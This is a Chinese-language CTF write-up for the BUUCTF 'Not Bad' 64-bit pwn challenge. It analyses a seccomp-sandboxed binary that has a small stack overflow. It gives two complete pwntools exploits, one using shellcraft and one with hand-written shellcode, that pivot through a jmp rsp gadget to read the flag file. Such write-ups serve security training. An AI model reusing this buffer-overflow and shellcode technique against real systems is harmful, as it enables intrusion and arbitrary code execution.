BUUCTF [极客大挑战 2019]Not Bad

总的来说这是一个64位orw的题

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)

2 {

3   mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);

4   sub_400949();

5   sub_400906();

6   sub_400A16();

7   return 0LL;

8 }

 1 __int64 sub_400949()

 2 {

 3   __int64 v1; // [rsp+8h] [rbp-8h]

 4

 5   v1 = seccomp_init(0LL);

 6   seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);

 7   seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);

 8   seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);

 9   seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);

10   return seccomp_load(v1);

11 }

这里开了沙盒看一下只给了open，read，write，exit很明显是一个orw的题

漏洞函数：

1 int sub_400A16()

2 {

3   char buf[32]; // [rsp+0h] [rbp-20h] BYREF

4

5   puts("Easy shellcode, have fun!");

6   read(0, buf, 0x38uLL);

7   return puts("Baddd! Focu5 me! Baddd! Baddd!");

8 }

溢出字节较少可以考虑用栈迁移，但是看了其他师傅的wp后发现了一种新的解题方法，即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上，接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的，但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp：

from pwn import *

context.arch='amd64'

context.log_level='debug'

s=remote('node4.buuoj.cn',26979)

#s=process('./bad')

mmap=0x123000

jmp_rsp=0x400a01

orw_payload = shellcraft.open("./flag")

orw_payload += shellcraft.read(3, mmap+0x100, 0x50)

orw_payload += shellcraft.write(1, mmap+0x100,0x50)

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')

payload=payload.ljust(0x28,b'\x00')

payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

s.sendline(payload)

s.send(asm(orw_payload))

s.interactive()

手搓 shellcode 的exp：

 1 from pwn import *

 2 context.arch='amd64'

 3 context.log_level='debug'

 4

 5 s=remote('node4.buuoj.cn',26979)

 6 #s=process('./bad')

 7

 8 jmp_rsp=0x400a01

 9 shellcode1='''

10     xor rdi, rdi

11     mov rsi, 0x123000

12     mov rdx, 0x100

13     mov rax, 0

14     syscall

15     mov rax, 0x123000

16     call rax

17 '''

18

19 shellcode2='''

20     mov rdi, 0x67616c662f2e  //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。

21     push rdi

22     mov rdi, rsp

23     mov rsi, 0

24     mov rdx, 0

25     mov rax, 2

26     syscall

27     mov rdi, 3

28     mov rsi, rsp

29     mov rdx, 0x100

30     mov rax, 0

31     syscall

32     mov rdi, 1

33     mov rsi, rsp

34     mov edx, 0x100

35     mov rax, 1

36     syscall

37 '''

38 payload=asm(shellcode1)

39 payload=payload.ljust(0x28,b'\x00')

40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

41 s.sendline(payload)

42

43 s.send(asm(shellcode2))

44

45 s.interactive()